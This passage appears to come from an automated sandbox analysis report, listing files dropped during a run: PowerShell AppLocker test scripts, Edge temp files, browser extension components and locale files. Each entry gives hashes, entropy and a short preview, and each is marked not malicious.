Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......z.N.>. Z>. Z>. Z..^Z:. Z..]Z}. Z..$Z<. Zj..Z?. Z..MZ.. Z;.}Z<. Z..@Z?. Z..}Z%. Z...Z=. Z..[Z8. Z>.!Z8. Z..NZ.. Z..ZZ?. Z..\Z?. Z>. Z*. Z..XZ?. ZRich>. Z................PE..L....q.H................. (...V.....5.[......0(...@..........................p........q.............................@#H.=.....].\|.....]...$...........p..............w(.......................7.....0R5.@...........d.]..............................text.....(...... (................. ..`.rdata..}! ..0(..0 ..0(.............@..@.data.......`H..0...`H.............@....idata..q%....]..0....Y.............@....tls.........0].......Y.............@..._RDATA...$...@]..0....Y.............@..@.data1.......p].......Z.............@....rsrc.....$...]...$...Z.............@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3te2xvax.tio.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fi1cjcku.xgn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5ykhnpm.2st.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kvamp3ee.ofl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rhnd2vrh.lgq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yejjhwep.out.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\c6b4cca0-a41f-49f9-846a-7d0a34018d6c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\c8021ff0-bc11-4c9b-a96f-312de8b11e80.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 340 x 191, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	704145
Entropy (8bit):	7.998010742509996
Encrypted:	true
SSDEEP:	12288:jUHH5RMls2X+c2KfTj17kU+zthJTi9JPNfgBTIxXL2v6YRl5JCqqpRFW0X2yk:2H5RMO3SP17Ozn5s1IBTI9LkhSqqQ0Xq
MD5:	25BC4C03F56DC2148E6D7B689F3274D8
SHA1:	CCB452CA179C6CD6E716CB8B87AF01E64F35AE96
SHA-256:	52CEAAAD6A264CB57055B487316644D7D419211ED39B633CA74B7555BB3C75A9
SHA-512:	B2DB93A3A227E7E2C47736D4863E95EBFCE1065E2E481ED818CE4E7FE09BF8FF4043CA3060F034B8055AE7C846337ECDD9B751532F55803F88464C246C8F9240
Malicious:	false
Preview:	.PNG........IHDR...T..........f$@....sRGB....... .IDATx^.....Y.....3...{u.m.[X..s.w...'.p...I.;....$.1.#...1...68....l...u..Ziw...3....u?]]...3.+.4..jf.......sUUm.Qo..4.....Y3.......z..~Z..,....)].....7Z.%.T^G..e^.5..O....n.kV+.H..F#.3..n...f..z.[+.u..Zh..f~lZ.5....L....SP..8^..3.....V0-.I..K..^Y...N..4..[e...:.>1_j.......i..>...5P..Xg...BO...f.J...Z....D.;......+..P..i._.....<.E....L........)....~...e`.....%@....j...R.x.0~...n..n.`{r.5...-NB..1..U.,..._5^.T...sL.w......=...@Z.....&S@..P...g...A.~.\.$%U....Z[.,.k.....4..<..H.sU.5.d....v..b...].W..v@...."o......6.:...n,+3..6Q.@.../..^..;....VPT{.0.A..lYWw...v..........K..6/).O..p#.A.'q...^.j.......F.;....J,F..q&.FCU......_...._m......g.WtM........ ..iT."....])d..AA7i..=R'.P.l.C..y..3.cU.D."5.{q....T...m..[...)....&......V.Z...k.@.R\|.h^]S{5...i...A'...6[..~...5.BU....P;cR...a?@m/.._...i_a.~... B_a6:@.....d...N)i?K....9..'s..i./Z.\|..h.WQ.CMm.].DE.+lK. ..'.....6Em..k.E..@..

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.412841760229341
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx00i7U53x00c5M:JIVuwEw5MUFZLBQLtS7MkM
MD5:	346E131688DDF972BDE1120ABBBCB251
SHA1:	76BC85549A898C8F75B8A8154F8DD031FC7C73C8
SHA-256:	AC1F0505E5311C261985FFCD4FA58080BCCBDC05A8D7763800637AFB68419DBE
SHA-512:	9C9F7F593B7D6460A4075F4AC308B25CC23C2514B2D596681CE7E798F6A3AE8F76F41767523D24A620AECF7AB6DA02A74A761F95FE70081C984FE2151AAD5DAC
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\fab9d22a-9364-45ed-926a-0f7b8f338262.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 276634
Category:	dropped
Size (bytes):	263704
Entropy (8bit):	7.998798806129367
Encrypted:	true
SSDEEP:	6144:cQBevuVtTT0bCnop1MIPG4y9XgcbKdhRuQRhzb6d0X7ayNC:TeGGCnorP0952dPuQRFW0X2yk
MD5:	B85DCDA827DC7BB4EF02A07D18DC64F4
SHA1:	9C284CF92B7C27D719A11396522EFC52196FD60B
SHA-256:	B9771078FC3B448D98FF53DE83C6C718326D6592F37CA48D3789120D41981FCA
SHA-512:	215C2A12292278EED6569C4730397FDA3B4188F76B5239F5783D24AA636A4D5103FED621D1D9B973605C754413597657BACFDEE46F203AAC006E24F9E8DF5691
Malicious:	false
Preview:	............ko..q?....Am..0.<.M...e.B,[......\|J..............x..8. .w73;;;;....L.....La.k&.k..........~...#..........%.Y.>}.j~.O.r..L....R.`..w......ta.'.....~:.9.'C...\|..Gt...'..y..?...}..........,....1?..)QX....tgpgN.`..~...'.h.3^.s..UT...~o..R.].4^..V8"JwfnH...%..........i.qmG4.1@....a....\.i.C..Rq9.h....\..j...u..O..O.5!.}x....%j..}CW+...jaA.......-.......P?..vA3+iU...N...%...x.E.8.Z..2HQw._.H8........+Lw].wL..........tc..l.+p..7..<).......Z.!..!i......?./.P9.y..;....,..C.K.....~.0........E...n..(..&.X...na-c.6.....Q.[.p.IO....[...W$....l7J.,..=EK.3Y...R...\|..z_i.q......./.......[..5..qE.....FM+..VRB...r9!{3.....!...;.,{..}.sP..m..f.....~..2J..4.+..i6M...EW..ON..N.........4...T...j...1:..E=..<....Y..w.MV.....w.q.{...Y.....J...@.W..i.Sm;..0.1......./.4..b.wPbK.yeZ@.I...0.C.TZ$...-.+.[*......w.qG..}B^........n....#.........Y4.g4.....(.K..e..q7[.{..W....,%...z.^N...[/?......).9/?...r].oM2.'G.gu..Q\|..._+......1^...9......-.j2lae..+!3

C:\Users\user\AppData\Local\Temp\scoped_dir7932_1573766353\7129bc5b-0256-4676-8ad1-687ef0a29cb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7932_1573766353\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7932_1573766353\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7932_1573766353\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7932_1573766353\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\96c10397-92fe-4bc2-aa15-297a3eaad6c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7932_913270529\CRX_INSTALL\_locales\am\messages.json

Download File

